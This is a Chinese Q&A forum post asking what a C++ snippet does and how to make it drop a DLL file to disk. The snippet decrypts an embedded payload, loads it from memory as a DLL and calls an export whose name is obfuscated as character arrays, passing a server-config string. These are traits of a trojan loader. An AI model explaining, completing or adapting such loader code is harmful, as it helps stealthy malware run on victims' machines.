qpzmlinlin 2023-01-20 11:19 采纳率: 0%
浏览 20

求C语言能不能写出一个dll文件

BOOL CWindowslocalSecurtyApp::InitInstance()
{

char *BackData = new char[MyFileSize + 1];
memcpy(BackData,MyFileBuf,MyFileSize);

EncryptDllName((char *)BackData,MyFileSize);  //数据解密
char * lpRawRelocDll = (char *)BackData+20;
HMEMORYMODULE hdllmod = MemoryLoadLibrary(lpRawRelocDll);
if(hdllmod)
{
    char Edition[] = {'D','h','l','V','i','p','V','e','r','s','f','s','\0'};//Dhlvipversfs
    char fZQvl01[] = {'D','l','l','F','u','U','p','g','r','a','d','r','s','\0'};//DllFuUpgradrs
    DLLMain lpproc = (DLLMain)MemoryGetProcAddress (hdllmod,fZQvl01);
    if(lpproc!=NULL)
    {
        char *m_ServGet = New_ServGet;
        lpproc(
            (char *)MyFileBuf,
            MyFileSize,
            m_ServGet+12, 
            Edition
            );                                    
    }
    MemoryFreeLibrary(hdllmod);  

    delete [] BackData;

return 0;
}

这个代码是什么意思,看不懂,后边内存释放能不能改写成文件释放?写出一个dll文件

  • 写回答

2条回答 默认 最新

  • Halifax ‎ 2023-01-20 11:26
    关注

    望采纳!!新年快乐🎉🎉

    这里有写,不能。

    http://www.dywt.com.cn/help/dll/dll.htm

    评论

报告相同问题?

问题事件

  • 创建了问题 1月20日

悬赏问题

  • ¥15 readimage函数怎么读取变量图片地址
  • ¥50 网课里面实习定位打卡
  • ¥50 Delphi 非客户区窗口阴影?
  • ¥15 cv2 morphologyEx函数报错
  • ¥15 有没有知道鸿蒙OS高级开发者新题答案的
  • ¥15 有没有人能帮我一下android
  • ¥20 做一个干部信息管理系统 软件
  • ¥15 通过4G模块EC600N向阿里云物联网平台物模型上面发送字符串,现在发送int数据是成功的,发送字符串就是不成功
  • ¥15 IDA反编译,代码识别失败
  • ¥70 matlab代码修改